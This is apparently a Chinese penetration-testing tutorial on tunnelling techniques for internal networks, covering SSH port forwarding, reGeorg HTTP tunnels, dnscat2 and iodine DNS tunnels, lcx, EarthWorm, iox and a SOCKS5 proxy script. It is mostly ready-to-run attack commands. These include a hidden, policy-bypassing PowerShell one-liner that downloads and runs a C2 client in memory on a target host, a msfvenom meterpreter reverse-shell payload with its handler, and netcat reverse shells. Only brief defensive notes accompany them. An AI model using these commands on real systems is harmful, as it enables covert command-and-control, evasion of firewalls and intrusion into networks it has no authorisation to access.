内网渗透测试 <3> 隧道技术

- 隐藏通信隧道概述 -

隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。

被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。

隧道协议的主要作用包括:规避防火墙、加密网络流量。

常见的隧道列举如下:

  • 应用层:SSH、HTTP、HTTPS、DNS。
  • 传输层:TCP、UDP、常规端口转发。
  • 网络层:IPv6、ICMP、GRE。

- 判断内网连通性 -

  1. ICMP 协议(Ping IP_Address)
  2. TCP 协议(nc -zv IP_Address Port)
  3. HTTP 协议(curl Domain:Port)
  4. DNS 协议(nslookup baidu.com vps_ip / dig @vps_ip baidu.com)

* 判断流量不能直接出,需要在内网中设置代理服务器:

  1. 查看网络连接,判断是否存在域其他机器的 8080(不绝对)等端口的连接(ping -n 1 -a 命令)。

  2. 查看内网中是否有主机名为 proxy 的机器。

  3. 查看 IE 浏览器的直接代理。

  4. 检查 PAC 文件(本地/远程)。

  5. 借助 Curl 工具进行确认(curl -x proxy-ip:port baidu.com)。

应用层隧道技术

SSH 协议

在内网中,几乎所有的 Linux/UNIX 服务器和网络设备都支持 SSH 协议。在一般情况下,SSH 协议是被允许通过防火墙和边界设备,同时,SSH 协议的传输过程是加密的,难以区分合法的 SSH 会话和攻击者利用其他网络建立的隧道。

ssh User@IP_Address

常见参数:

  • -C:压缩传输,提高传输速度。

  • -f:表示 SSH 连接成功后,转入后台运行。

  • -N:建立静默连接,表示只连接远程主机,不打开远程 shell。

  • -g:允许远程主机连接本地用于转发的端口。

  • -L:本地端口转发。

  • -R:远程端口转发。

  • -D:动态转发(SOCKS 代理)

  • -P:指定 SSH 端口。

- 参考 -

[1] SSH原理与运用(一):远程登录
[2] SSH原理与运用(二):远程操作与端口转发

本地转发

假定 host1 是本地主机,host3 是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台 host2,可以同时连通前面两台主机。因此,很自然的想法就是,通过 host2,将 host1 连上 host3。

  • host1
ssh -CfNg -L 3306:host3:3306 host2

命令中的 L 参数一共接受三个值,分别是 本地端口:目标主机:目标主机端口,它们之间用冒号分隔。这条命令的意思,就是指定 SSH 绑定本地端口 3306,然后指定 host2 将所有的数据,转发到目标主机 host3 的 3306 端口。

这样一来,我们只要连接 host1 的 3306 端口,就等于连上了 host3 的 3306 端口。

本地端口转发使得 host1 和 host2 之间仿佛形成一个数据传输的秘密隧道,因此又被称为 SSH 隧道

# 通过跳板机转发目标主机特定端口到 VPS 主机上的特定端口
ssh -CfNg -L VPS_Port:Target_Host:Target_Port root@跳板机
# 查看 SSH 进程本地映射
netstat -tulnp | grep "port"

SSH 进程的本地映射是把本地(客户机)的某个端口转发到远端某个主机的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过 SSH 隧道传输到远端的对应端口

其他例子:

# 1. 通过 host2 将本机的 5900 端口转发到 host2 的 5900 端口
ssh -CfNg -L 5900:localhost:5900 host2
# 2. 通过 host2 的端口转发,ssh 登录 host3
ssh -CfNg -L 9001:host3:22 host2
ssh -p 9001 localhost

远程转发

本地端口转发是指绑定本地端口的转发,远程端口转发则是指绑定远程端口的转发。

host1 与 host3 之间无法连通,必须借助 host2 转发。但是,特殊情况出现了,host2 是一台内网机器,它可以连接外网的 host1,但是反过来就不行,外网的 host1连不上内网的host2。

解决办法是,既然 host2 可以连 host1,那么就从 host2 上建立与 host1 的 SSH 连接,然后在 host1 上使用这条连接就可以了。

  • host2
ssh -CfNg -R 2121:host3:21 host1

R 参数也是接受三个值,分别是远程主机端口:目标主机:目标主机端口。这条命令的意思,就是让 host1 监听它自己的 2121 端口,然后将所有数据经由 host2,转发到 host3 的 21 端口。由于对于 host2 来说,host1 是远程主机,所以这种情况就被称为远程端口绑定

本地转发是将远程主机(服务器)某个端口的数据转发到本地服务器的指定端口,远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过 SSH 隧道传输到本地的对应端口

动态转发

动态端口映射就是建立一个 SSH 加密的 SOCKS 4/5 代理通道,任何支持 SOCKS 4/5 协议的程序都可以使用这个加密通道进行代理访问。

  • Host1
ssh -CfNg -D 7000 root@host2

- 防御策略 -

SSH 隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置 SSH 远程管理白名单,在 ACL 访问控制策略中限制只有特定的 IP 地址才能连接 SSH,以及设置系统完全使用带外管理等方法,都可以避免此问题。

HTTP(S) 协议

HTTP Service 代理用于将所有的流量转发到内网,常见的代理工具有 reGeorg、meterpreter、tunna 等。

reGeorg + Proxifier/ProxyChains

reGeorg 是 reDuh 的升级版,用于在 Web 服务器堡垒机上建立 SOCKS 代理来通过 DMZ 区,主要功能是把内网服务器端口的数据通过 HTTP/HTTPS 隧道转发到本机,实现 HTTP 协议的通信。reGeorg 脚本的特征非常明显,很多杀毒软件都会对其进行查杀。

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。SOCKS 是 "SOCKetS" 的缩写。
当防火墙后的客户端要访问外部的服务器时,就跟 SOCKS 代理服务器连接。这个代理服务器控制客户端访问外网的资格,允许的话,就将客户端的请求发往外部的服务器。这个协议最初由 David Koblas 开发,而后由 NEC 的 Ying-Da Lee 将其扩展到版本 4。最新协议是版本 5,与前一版本相比,增加支持 UDP、验证,以及 IPv6。根据 OSI 模型,SOCKS 是会话层的协议,位于表示层与传输层之间。

$ python reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u  [-v]

Socks server for reGeorg HTTP(s) tunneller

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

首先上传脚本文件 tunnel.(aspx|ashx|jsp|php) 到目标服务器中,然后在本地访问远程服务器上的脚本文件,访问结果返回正常(Georg says, 'All seems fine'),运行 reGeorgSocksProxy.py 监听本地特定端口,即可建立通信链路。

python reGeorgSocksProxy.py -p 7777 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

隧道正常工作后,可以在本地机器上使用 Proxifier、 ProxyChains 之类的工具,访问目标内网中的资源。

ProxyChains 可以强制任意应用程序所进行的 TCP 连接都遵循 TOR、SOCKS4、SOCKS5 或 HTTP(S) 代理。支持的身份验证方式有:"user/pass" for SOCKS4/5, "basic" for HTTP。

ProxyChains 按照如下顺序查找配置文件:

  1. 环境变量 ${PROXYCHAINS_SOCKS5} 中的 SOCKS5 代理端口 ,如果存在,则不再进行进一步查找。

  2. 环境变量 ${PROXYCHAINS_CONF_FILE} 中列出的文件,或者从 -f 参数所提供的脚本或可执行文件。

  3. ./proxychains.conf

  4. $(HOME)/.proxychains/proxychains.conf

  5. /etc/proxychains.conf

proxychains telnet targethost.com
proxychains nmap -sT -PO -p 80 -iR  (find some webservers through proxy)
proxychains -f /etc/proxychains-other.conf targethost2.com

DNS 协议

DNS 协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的 DNS 流量可能会被发现,但是基于传统的 Socket 隧道已濒临淘汰,以及 TCP 、UDP 通信大量被防御系统拦截的状况,DNS、ICMP、HTTP(S) 等难以被禁用的协议已成为攻击者控制隧道的主流渠道。

一方面,在网络世界中,DNS 是一个必不可少的服务;另一方面,DNS 报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤 DNS 流量,也为 DNS 成为隐藏信道创造了条件。越来越多的研究证明,DNS 隧道在僵尸网络和 APT 攻击中扮演着重要的角色。

用于管理僵尸网络和进行 APT 攻击的服务器叫做 C&C 服务器(Command and Control Server,命令及控制服务器)。C&C 节点分两种,分别是 C&C 服务端(攻击者)和 C&C 客户端(被控制的计算机)。C&C 通信是指植入 C&C 客户端的木马或者后门程序与 C&C 服务端上的远程控制程序之间的通信。

DNS 隧道工作原理:在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机缓存中,就会访问互联网进行查询,然后返回结果。如果互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交换。从 DNS 协议的角度来看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,预期返回的结果应该是一个 IP 地址,但是返回结果可以是任意字符串,包括加密的 C&C 指令。

域名型 DNS 隧道木马的通信架构:

使用 DNS 隧道与外界进行通信时,从表面上看是没有接连外网的(内网网关没有转发 IP 数据包),但实际上,内网的 DNS 服务器进行了中转操作。这就是 DNS 隧道的工作原理,简单来说就是将其他协议封装在 DNS 协议中进行传输。

查看 DNS 的连通性

#查看内部域名及 IP 地址
~/桌面 ᐅ cat /etc/resolv.conf
domain localdomain        //定义本地域名
search localdomain        //定义域名的搜索列表
nameserver 192.168.43.2   //定义DNS服务器的IP地址 

#查询能否通过内部 DNS 服务器解析外部域名
~/桌面 ᐅ nslookup baidu.com  
Server:		192.168.43.2
Address:	192.168.43.2#53

Non-authoritative answer:
Name:	baidu.com
Address: 39.156.69.79
Name:	baidu.com
Address: 220.181.38.148

dnscat2

dnscat2 是一款开源软件,使用 DNS 协议创建加密的 C&C 通道,通过预共享密钥进行身份认证;使用 Shell 及 DNS 查询类型(TXT、MX、CNAME、A、AAAA),支持多个会话,在内存中直接执行 PowerShell 脚本。客户端采用 C 语言编写,服务端采用 Ruby 语言编写。

两种工作模式:

  • 直连模式:客户端直接向指定 IP 地址的 DNS 服务器发起 DNS 解析请求。

  • 中继模式:DNS 经过互联网的迭代解析,指向指定的 DNS 服务器,速度较慢。

如果目标内网放行所有 DNS 请求,则 dnscat2 会使用直连模式,通过 UDP 的 53 端口进行通信(不需要域名,速度快,而且看上去仍然像普通的 DNS 查询)。在请求日志中,所有的域名都是以 "dnscat" 开头,因此防火墙很容易地将直连模式的通信检测出来。

如果目标内网中的请求仅限于白名单服务器或者特定的域,dnscat2 会使用中继模式来申请一个域名,并将 dnscat2 服务端的服务器指定为受信任的 DNS 服务器。

> 部署域名解析

虽然 dnscat2 提供 53 端口直联服务器的功能,但是想达到最好的隐蔽隧道效果,需要自行配置域名 endl.me:创建 A 记录,将自己的域名解析服务器(ns.endl.me)指向云服务器;再创建 NS 记录将 dns 子域名的解析交给 ns.endl.me。

NS 记录用来设置子域名的 DNS 服务器,上述设置制定了子域名 dns.endl.me 的 DNS Server 地址为 ns.endl.me,ns.endl.me 通过 A 记录解析到了我们的 VPS 上。查询解析过程如下(dns.endl.me):

本地 hosts -> 根服务器 > .me 域名服务器 -> .endl.me 域名服务器(查找 A 记录,存在则返回),否则 -> 发现 NS 记录指定 dns.endl.me 的域名服务器为 ns.endl.me -> VPS 地址 64.227.48.110。

检查 A 记录(ns.endl.me -> VPS)解析生效:

检查 NS 记录(dns -> ns.endl.me)解析生效:

tcpdump -n -i eth0 udp dst port 53
nslookup dns.endl.me

抓取到堆 dns.endl.me 进行查询的 DNS 请求数据包,NS 解析设置生效。

> 安装 dnscat2 服务端

安装 Ruby 及 Gem 依赖包 Bundler:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler

安装 dnscat2 server:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

启动服务端:

sudo systemctl stop systemd-resolved
# 中继模式
sudo ruby ./dnscat2.rb dns.endl.me -e open -c endl.me --no-cache
# 直连模式
sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=endl.me
  • -c 指定预共享密钥,进行加密通讯,防止中间人攻击。

  • -e 规定安全级别为 open,即服务端允许客户端不加密。

  • --no-cache 禁止缓存,服务端与客户端的 Caching 模式不兼容。

> 目标主机加载客户端

dnscat2 有编译好的 Windows 客户端,而使用 dnscat2-powershell 除了获得可交互的 Reverse Shell 外,依靠 powershell 标准的 IEX 加载脚本方式,从外部可信任网站下载到内存再加以利用,无文件运行客户端避免文件落地,降低风险。

powershell.exe -nop -exec bypass -w hidden -Command "& {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -DNSServer 8.8.8.8 -Domain dns.endl.me -PreSharedSecret endl.me}"

目标主机成功上线:

windows 命令查看目前控制进程,window -i id 可进入会话:

创建 shell:

进入目标主机 shell:

  • PowerShell ./dnscat2.ps1
powershell.exe -nop -exec bypass -Command "& {Import-Module .\dnscat2.ps1; Start-Dnscat2 -DNSServer 8.8.8.8 -Domain dns.endl.me -PreSharedSecret endl.me}"

iodine

碘的原子序数是 53,恰好是 DNS 端口号,故该工具被命名为 iodine。iodine 可以通过一台 DNS 服务器创建一个 IPv4 数据通道,适合在目标主机上只能发送 DNS 请求的网络环境中使用。

与其他 DNS 隧道实现相比,iodine 提供:

  • 更高的性能。iodine 使用 NULL 类型,该类型允许不进行编码就发送下游数据。每个 DNS 回复都可以包含超过一千字节的压缩有效负载数据。

  • 可移植性。多平台支持,iodine 在许多不同的类 UNIX 的系统以及 Win32 上运行。无论字节序或操作系统如何,都可以在两个主机之间建立隧道。

  • 安全性。iodine 使用由 MD5 加密的挑战-响应登录。它还会过滤掉登录时使用的 IP 以外的任何数据包。

  • 简单易用,并发支持。iodine 自动处理接口上的 IP 编号设置,最多 16 个用户可以同时共享一台服务器。将自动探测数据包大小,以获取最大的下游吞吐量。

iodine 支持直接转发和中继两种模式,其原理是:通过 TAP 虚拟网卡,在服务端建立一个局域网;在客户端,通过 TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同一个局域网(可通过 ping 命令通信)。在客户端和服务端之间建立连接后,客户机上会多处一块名为 dns0 的虚拟网卡。

(1)安装服务端

域名解析同 dnscat2 部署:

服务端配置:

# 开启系统域名解析服务
sudo systemctl start systemd-resolved
# 安装 iodine
apt install iodine
# 开启 Linux 的 ipv4 转发功能
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
# 允许 DNS 通过防火墙
# iptables -A INPUT -p udp --dport 53 -j ACCEPT
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# iptables -t filter -A FORWARD -i eth0 -o dns0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# iptables -t filter -A FORWARD -i dns0 -o eth0 -j ACCEPT
# iptables-save > /etc/iptables.rules
# 关闭防火墙
# ufw disable
# 卸载 iptables
# apt-get remove iptables

启动 iodined:

$ iodined -f -c -P password -p 53 172.16.0.0 dns.endl.me

参数说明:
-f 前端显示,用于调试
-c 显示客户端请求
-P 设置密码(最多32个字符)
-p 监听的端口号,默认为 53
172.16.0.0    tunnel_ip
dns.endl.me topdomain

(2)客户端配置

安装客户端(Windows下,Linux 用户请使用包管理器安装或直接源码编译) 请安装 NDIS5 版本的 TAP Driver。接着下载 iodine windows 客户端.

启用客户端:

常用的 nameserver:

  • 223.5.5.5(阿里)
  • 8.8.8.8(谷歌)
  • 199.91.73.222(V2EX)
  • 114.114.115.115(114 DNS)
  • 180.76.76.76(百度 DNS)

执行成功后发现客户机多了一块虚拟网卡:

(3)使用 DNS 隧道

客户端和服务端位于同一局域网内,直接使用局域网 IP 进行访问即可。

- 防御策略 -

  1. 禁止网络中的任何用户向外部服务器发送 DNS 请求,只允许与受信任的 DNS 服务器通信。

  2. 跟踪用户的 DNS 查询次数,达到阈值后生成报告。

  3. 阻止 ICMP 、特征识别等。

传输层隧道技术

SOCKS 代理

SOCKS 是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。SOCKS 是"SOCKetS"的缩写。

SOCKS4 代理协议可以说是对 HTTP 代理协议的加强,它不仅是对 HTTP 协议进行代理,而是对所有向外的连接进行代理,是没有协议限制的。也就是说,只要你向外连接,它就给你代理,并不管你用的是什么协议,极大的弥补了 HTTP 代理协议的不足。SOCKS5 代理协议又对前一版进行了修改,增加了支持 UDP 代理及身份验证的功能。它不是“协议代理”,所以它会对所有的连接进行代理,而不管用的是什么协议。

lcx 端口转发

常见命令:

[Usage of Packet Transmit:]
  lcx.exe -<listen|tran|slave> <option> [-log logfile]

[option:]
  -listen <ConnectPort> <TransmitPort>
  -tran   <ConnectPort> <TransmitHost> <TransmitPort>
  -slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
  • 端口转发(slave + listen)
-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
-slave  <vps_ip> <vps_port> <target_ip> <target_port> # 监听->转发

此时两个端口都处于客户端模式,lcx.exe 会建立到 ConnectHost 主机的 ConnectPort 端口的 TCP 连接,假设使用的本地端口是 RandomPort1,若成功,则会接着建立到 TransmitHost 主机的 TransmitPort 端口的 TCP 连接,假设使用的本地端口是 RandomPort2,若成功,则开始端口转发,互换 RandomPort1 和 RandomPort2 接受/发送的数据,将 ConnectPort 流量转发到 TransmitPort。RandomPort1 和 RandomPort2 都是随机的未使用端口。

-listen <ConnectPort> <TransmitPort>
-listen <监听端口> <转发端口> # 监听->转发

此时两个端口都处于服务器模式,lcx.exe 分别监听 ConnectPort 和 TransmitPort,当有两个客户端分别与 ConnectPort 和 TransmitPort 建立连接时,端口转发开始工作,互换 ConnectPort 和 TransmitPort 接受/发送的数据,将 ConnectPort 流量转发到 TransmitPort。

内网机器执行执行:

lcx.exe -slave vps_ip 4444 127.0.0.1 3389

将内网主机的 3389 端口转发到公网主机 vps_ip 的 4444 端口。

公网主机运行:

lcx.exe -listen 4444 5555

监听本地 4444 端口,并将来自 4444 端口的流量转发到 5555 端口。此时通过 vps_ip:5555 端口即可访问内网主机 3389 端口。

  • 端口映射(tran)
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-tran <监听端口> <传送主机 IP> <传送主机端口> # 监听->目标主机端口

如把来自公网的 meterpreter 通过 VPS 转发到本地的 MSF (MSF 所在机器和 VPS 通过 VPN 内网通信)中,生成 payload 时指定 LHOST = VPS_IP, LPORT = 7777:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=vps_ip LPORT=7777 -f exe -o ~/shell.exe

exploit 监听模块设置 lhost 为 MSF 所在机器的内网 IP 地址:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost MSF_lhost
msf exploit(handler) > set lport MSF_lport
msf exploit(handler) > exploit -j

VPS 执行:

lcx -tran 7777 <MSF_lhost> <MSF_lport>

再比如由于防火墙限制,部分端口如 3389 无法通过防火墙,此时可以将该目标主机的 3389 端口映射到防火墙允许的其他端口,如 53 端口,目标主机上执行:

lcx -tran 53 <target_ip> 3389

此时目标主机将监听 53 端口,并将流量转发到目标主机的 3389 端口。再或者通过 Web 边界服务器将内网机器的指定端口映射到 Web 边界服务器的指定端口。

netcat 反弹 shell

推荐工具:Reverse Shell CheatSheet

  • 正向连接(Client -> Server)

    远程主机上执行:

    nc -l -p 4444 -t -e cmd.exe # 监听本地端口 4444,以 telnet 模式执行 cmd.exe
    

    本地主机上执行:

    nc -vv 远程主机ip 4444
    
  • 反向连接(Server -> Client)

    公网主机上执行:

    nc -lvvp 4444
    

    内网主机上执行:

    nc -t -e cmd.exe 公网主机ip 4444 # -t 参数指定通过 telnet 模式执行 cmd.exe
    

Xsocks

Feature:跨平台支持,TCP、UDP 透明代理,并行化。

可结合 Proxifier(Windows)、ProxyChains(Linux)建立 Socks5 通信隧道。

EarthWorm

EarthWorm(EW) 是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。EW 能够以正向、反向、多级级联等方式建立网络隧道。新版本为 Termite。

使用方法:

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

  1. 正向 SOCKS v5 服务器
$ ./ew -s ssocksd -l 1080
  1. 反弹 SOCKS v5 服务器

a) 先在一台具有公网 ip 的主机 A 上运行以下命令:

$ ./ew -s rcsocks -l 1080 -e 8888 

b) 在目标主机 B 上启动 SOCKS v5 服务 并反弹到公网主机的 8888 端口

$ ./ew -s rssocks -d 1.1.1.1 -e 8888 
  1. 多级级联

工具中自带的三条端口转发指令,它们的参数格式分别为:

$ ./ew -s lcx_listen -l  1080  -e 8888
$ ./ew -s lcx_tran   -l  1080  -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888  -f 2.2.2.3  -g  9999

通过这些端口转发指令可以将处于网络深层的基于 TCP 的服务转发至根前,比如 SOCKS v5。
“二级级联”本地 SOCKS 测试样例:

  • lcx_tran 的用法
$ ./ew -s ssocksd  -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
  • lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd    -l 9999
$ ./ew -s lcx_slave  -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

“三级级联”的本地 SOCKS 测试用例:

$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

iox

端口转发 & 内网代理工具,功能类似于 lcx/ew,但是比它们更好。

Feature: 友好的命令行参数、逻辑优化、UDP 流量转发。

所有的参数都是统一的。-l/--local 意为监听本地端口;-r/--remote 意为连接远端主机。

- 两种模式 -

  • fwd(端口转发)

监听 0.0.0.0:8888 和 0.0.0.0:9999,将两个连接间的流量进行转发:

./iox fwd -l 8888 -l 9999

监听 0.0.0.0:8888,把流量转发到 1.1.1.1:9999:

./iox fwd -l 8888 -r 1.1.1.1:9999

连接 1.1.1.1:8888 和 1.1.1.1:9999 , 在两个连接间转发:

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
  • proxy(代理)

在本地 0.0.0.0:1080启动Socks5服务

./iox proxy -l 1080

在被控机开启 Socks5 服务,将服务转发到公网 VPS, 在 VPS 上转发 0.0.0.0:9999 到 0.0.0.0:1080

你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连

# 被控机器
./iox proxy -r 1.1.1.1:9999
# VPS
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的

接着连接内网主机:

# proxychains.conf
# socks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389

socks5.py

import socket, sys, select, SocketServer, struct, time  
  
class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass  
class Socks5Server(SocketServer.StreamRequestHandler):  
    def handle_tcp(self, sock, remote):  
        fdset = [sock, remote]  
        while True:  
            r, w, e = select.select(fdset, [], [])  
            if sock in r:  
                if remote.send(sock.recv(4096)) <= 0: break  
            if remote in r:  
                if sock.send(remote.recv(4096)) <= 0: break  
    def handle(self):  
        try:  
            print 'socks connection from ', self.client_address  
            sock = self.connection  
            # 1. Version  
            sock.recv(262)  
            sock.send(b"\x05\x00");  
            # 2. Request  
            data = self.rfile.read(4)  
            mode = ord(data[1])  
            addrtype = ord(data[3])  
            if addrtype == 1:       # IPv4  
                addr = socket.inet_ntoa(self.rfile.read(4))  
            elif addrtype == 3:     # Domain name  
                addr = self.rfile.read(ord(sock.recv(1)[0]))  
            port = struct.unpack('>H', self.rfile.read(2))  
            reply = b"\x05\x00\x00\x01"  
            try:  
                if mode == 1:  # 1. Tcp connect  
                    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
                    remote.connect((addr, port[0]))  
                    print 'Tcp connect to', addr, port[0]  
                else:  
                    reply = b"\x05\x07\x00\x01" # Command not supported  
                local = remote.getsockname()  
                reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1])  
            except socket.error:  
                # Connection refused  
                reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00'  
            sock.send(reply)  
            # 3. Transfering  
            if reply[1] == '\x00':  # Success  
                if mode == 1:    # 1. Tcp connect  
                    self.handle_tcp(sock, remote)  
        except socket.error:  
            print 'socket error'  
def main():  
    server = ThreadingTCPServer(('', 1090), Socks5Server)  
    server.serve_forever()  
if __name__ == '__main__':  
    main()